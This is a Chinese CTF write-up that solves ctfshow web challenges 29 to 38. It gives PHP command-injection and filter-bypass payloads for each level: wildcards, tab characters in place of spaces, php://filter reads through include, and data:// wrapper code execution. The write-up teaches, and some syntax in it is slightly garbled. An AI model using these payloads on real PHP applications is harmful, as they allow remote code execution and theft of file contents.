微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

ctfshow-web29~38做题记录

Web 29

题目过滤了flag,所以利用通配符来执行命令。

Payload:?c=system('tac f*');

Web 30

查看源代码

System函数不能用,可以用passthru、exec,shell_exec等函数,exec不能输出结果。

特别说一下用exec时构造?c=exec(‘cp f* 1.txt’);(将flag.PHP中的内容复制给1.txt)

访问1.txt,拿到flag。

Web 31

过滤条件: flag\system\PHP\cat\sort\shell\小数点\空格\单引号

cat用tac,nl代替

空格用%09代替

Payload:?c=passthru("tac%09f*");

Web 32

查看源代码

上边的都用不了,所以用文件包含include(),include可以无括号包含,分号;可以用?>代替,与前面形成闭合,这样就可以做到参数逃逸

构造

payload:?c=include%09$_GET[1]?>&1=PHP://filter/read=convert.base64-encode/resource=flag.PHP

用base64解密,拿到flag。

Web 33-35

Payload和web 32一样。

Web 36

和之前相比数字也被过滤了,把改为a即可。

Payload:?c=include%09$_GET[a]?>&a=PHP://filter/read=convert.base64-encode/resource=flag.PHP

Base64解密,得到flag。

Web 37

查看源代码

看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤

data伪协议命令执行:data:text/plain,<PHP代码; ?>

构造?c=data:text/plain,<?PHP system($_POST[1]);?>

同时POST:1=tac flag.PHP

得到flag。

Web38

查看代码

比上一题多了一个PHP和file过滤,应该是想过滤PHP://filter

绕过PHP:data伪协议后的代码是<?PHP code; ?>,这里PHP用短标签代替
<?PHP echols;?> 使用短标签方式表示:<?=`ls`?>

payload:?c=data:text/plain,<?=`cat f*`?>

 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐